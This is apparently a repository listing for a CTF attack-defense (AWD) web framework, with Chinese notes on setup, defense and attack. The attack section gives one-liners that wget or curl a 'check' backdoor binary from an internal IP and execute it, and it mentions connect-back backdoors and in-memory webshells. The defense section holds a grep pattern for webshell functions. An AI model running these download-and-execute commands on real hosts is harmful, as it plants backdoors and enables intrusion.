WEB-AWD-Framework - AWD framework for web in CTF by HuaSir

项目说明

Introduction

This framework is used to help enjoy the AWD-web in CTF.
Maybe in the future we can expand it into a common security test platform.

根目录

Beat.py 攻击脚本

修改内容

setting.py里面flag的格式

交flag机的参数

contro.py里面交flag的函数

backdoor.c 里面回连IP

filecmp里面文件夹位置

防御

(找到代码位置)拖源代码

自己给自己上一句话，用www-data的权限给自己回连内存马

文件监控

抓流量*

流量分析

交flag机调试成功

攻击

webshell扫描一波

发现目标页面

批量攻击

上马

- gcc -o check backdoor.c -lpthread -g
- cd /tmp&&wget -O check 192.168.1.143/upload/check&&chmod +x check&&./check
- cd /tmp;curl -o check 192.168.1.143/check;chmod +x check;./check

垃圾流量

notice

www-data 无法直接反弹shell，不能执行python -c

无法写日志：open_basedir限制，或/tmp权限不足(chmod 777 -R /tmp/log; chown www-data:www-data -R /tmp/log)

运维命令

#### 源码备份

cd /var/www/html && zip -r www.zip ./*

scp (-i id_rsa) root@127.0.0.1:/var/www/html/www.zip ./

或者直接 scp (-i id_rsa) -r root@127.0.0.1:/var/www/html/ ./www

数据库备份 mysqldump -u root -p test(数据库名) > test.sql

#### 检查flag

find -name "*.txt" | xargs cat | grep -B 10 -E "\w{4}-\w{4}-\w{4}-\w{4}-\w{3}-\w{4}"

#### 上WAF

find /var/www/html -name "*.php"|xargs sed -i "s#<?php#<?php\ninclude_once('/var/www/html/log.php');\n#g"

#### 快速查一下shell
-find /var/www/html -name "*.php" |xargs egrep 'assert|e\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
#### 循环杀PHP内存马

项目信息

开发语言：Python

Star 数：65

技术要点

该项目属于CTF思路方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕AWD framework for web in CTF by HuaSir展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。